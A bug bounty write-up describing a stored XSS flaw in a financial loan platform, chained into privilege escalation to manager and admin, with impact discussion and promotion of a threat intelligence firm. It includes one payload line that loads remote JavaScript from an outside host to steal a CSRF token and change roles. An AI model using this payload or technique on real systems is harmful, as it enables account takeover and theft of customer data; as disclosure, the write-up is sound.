Stored XSS to Privilege Escalation to Admin Takeover to Data Breach

Ahmad Halabi

4 min readAug 3, 2025

Introduction:

It’s been a while since I published a write-up. Over the course of two dedicated years in bug bounty, I earned over 15,000 reputation points, ethically hacked 250+ programs, and achieved several notable rankings:

#1 Hacker at the U.S. Department of Defense (2019)
#1 Hacker at IBM (2020)
#7 on the HackerOne Leaderboard (2020)
Ranked among the Top 50 Hackers Globally of All Time on the HackerOne Leaderboard

After this rewarding journey, I transitioned from a bug bounty hunter to a cyber threat hunter, joining forces with the high-end threat intelligence firm Resecurity.

Our mission: combating all forms of digital threats, including dark web activities and underground criminal operations.

In this write-up, I aim to bridge the gap between bug bounty and threat intelligence, shedding light on how vulnerabilities typically reported in bug bounty programs can be weaponized by cybercriminals. These weaknesses can be used to escalate privileges, take control, and ultimately damage a company’s reputation through data leaks and data manipulation.

Chain of Vulnerability Sequence:

Employee ➝ Stored XSS ➝ Privilege Escalation ➝ Account Takeover ➝ Admin Access ➝ Higher Privileges ➝ Access to Sensitive Data ➝ Data Leak ➝ Company at Risk (e.g., data sold on the dark web)

A single improperly sanitized input can trigger this entire sequence — putting the entire organization in jeopardy.

We now live in a critical cyber landscape where even a seemingly small oversight can lead to catastrophic consequences.

That’s why I always ask: What if the vulnerability had been discovered by a threat actor or cybercriminal instead of a security researcher or bug bounty hunter?

At Resecurity, we go beyond traditional vulnerability discovery. We actively monitor the dark web and underground communities, identifying zero-days, exploit trading, and emerging threats. With real-time alert protocols, we take proactive measures to stop attacks before they succeed.

This is just one of the many advantages Resecurity delivers to protect enterprises from today’s evolving threats.

Proof of Concept:

A financial program on HackerOne has a functionality to create and manage loans.

Admin/Manager creates a loan.
Manager invites Employee to finalize the loan process.

Employee can only access the loan that was invited to.

Employee doesn’t have Manager Privileges

3. The “purchase description” input within the Loan procedures was vulnerable to Stored XSS.

Injecting the XSS Alert payload to verify the exploit validity

4. Employee injects the XSS payload in the Loan application, and invites the Manager to view the Loan to Approve before submitting it to the customer. Boom 💥 XSS gets triggered.

Now time to escalate the privileges and Takeover Admin Account.

5. Real attack happens when attacker (malicious employee) crafts a malicious javascript code on a server and injects it in the vulnerable input to get triggered once the Manager visits the Loan.

Breaking it down:

Employee created javascript function to be triggered on the Manager instance.
The function gathers the Manager’s CSRF Token, overrides the PUT Request, and changes the Employee role to Manager.

Now we repeat the same steps:

6. Employee injects `“‹script src=”https://webserver.com/xss_make_manager.js"‹/script>` in the vulnerable input “Purchase Description.”

7. Employee invites the Manager to view the Loan and Approve it before sending it to the customer.

8. Once the Manager visits the Loan application, the XSS Script is triggered and Employee becomes Manager/Admin.

Further Impacts:

The malicious Employee is now Admin. He can access to all the loans, dump customers information (whom applied for loans or have active loans), sell customers data to cyber criminals on dark web leading to severe reputational damages for the company.

Even more concerning, I discovered that the same privilege escalation path could be exploited to reach Super Admin level. This would allow the malicious employee to remove existing Admins, gain full control over all company loan operations, and potentially cause significant financial loss and operational disruption.

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